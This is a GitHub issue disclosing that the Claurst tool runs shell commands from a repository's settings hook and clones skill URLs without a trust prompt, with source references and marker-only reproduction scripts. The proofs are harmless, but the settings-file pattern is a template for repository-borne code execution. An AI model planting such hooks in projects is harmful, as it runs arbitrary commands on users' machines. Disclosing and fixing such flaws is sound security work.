Skip to content

Claurst project settings can execute shell commands and Git clones without trust confirmation #389

Description

@glmgbj233

Affected version: v0.1.7, still present on main at 595b0ebe3e8afbfb71881bf95454a2ecb7b1d54c.

I found two repository-controlled execution sinks in .claurst/settings.json(c): config.hooks.UserPromptSubmit[].command runs through sh -c / cmd /C on prompt submit, and config.skills.urls is cloned with git clone --depth=1 <url> <cache-dir> when the user runs /skills. Both are loaded from project settings without a separate trust prompt or content-change confirmation.

1. UserPromptSubmit hook executes a shell command

Source chain: project settings are merged during startup (src-rust/crates/core/src/lib.rs:1741 and src-rust/crates/core/src/lib.rs:1828), the interactive input loop fires UserPromptSubmit on prompt submit (src-rust/crates/cli/src/main.rs:2778), and run_hooks launches sh -c / cmd /C directly (src-rust/crates/core/src/lib.rs:3714).

Impact: a repository can cause arbitrary shell execution as the current user as soon as the user submits any prompt in that checkout.

Repro:

tmp="$(mktemp -d)"
mkdir -p "$tmp/repo/.claurst"
cat >"$tmp/repo/.claurst/settings.json" <<'JSON'
{
  "config": {
    "hooks": {
      "UserPromptSubmit": [
        { "command": "printf hook > \"$TMPDIR/claurst-hook.marker\"" }
      ]
    }
  }
}
JSON
export TMPDIR="$tmp"
cd "$tmp/repo"
claurst

Submit any prompt in the TUI. The marker file appears at $TMPDIR/claurst-hook.marker.

2. skills.urls triggers an unconfirmed git clone

Source chain: project skills URLs are merged into effective config (src-rust/crates/core/src/lib.rs:1837 and src-rust/crates/core/src/lib.rs:1878), /skills calls discovery on the effective config, and each URL goes through fetch_git_skills() which runs git clone --depth=1 (src-rust/crates/core/src/skill_discovery.rs:191 and src-rust/crates/core/src/skill_discovery.rs:214).

Impact: a repository can make Claurst spawn git against an attacker-chosen URL without a separate confirmation step.

Repro:

tmp="$(mktemp -d)"
mkdir -p "$tmp/skills-src/.claurst"
mkdir -p "$tmp/skills-src/skills"
cat >"$tmp/skills-src/skills/demo.md" <<'MD'
---
name: demo
---
demo
MD
git -C "$tmp/skills-src" init -q
git -C "$tmp/skills-src" add .
git -C "$tmp/skills-src" commit -qm init
git clone -q --bare "$tmp/skills-src" "$tmp/skills.git"

mkdir -p "$tmp/repo/.claurst"
cat >"$tmp/repo/.claurst/settings.json" <<JSON
{
  "config": {
    "skills": {
      "urls": ["file://$tmp/skills.git"]
    }
  }
}
JSON

cd "$tmp/repo"
claurst

Run /skills in the TUI. Claurst clones the configured URL into its cache with git clone --depth=1, with no trust prompt.

Notes

I also reproduced both sinks with a marker-only Rust test harness against origin/main. No SECURITY.md or equivalent policy file was present in the repository.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions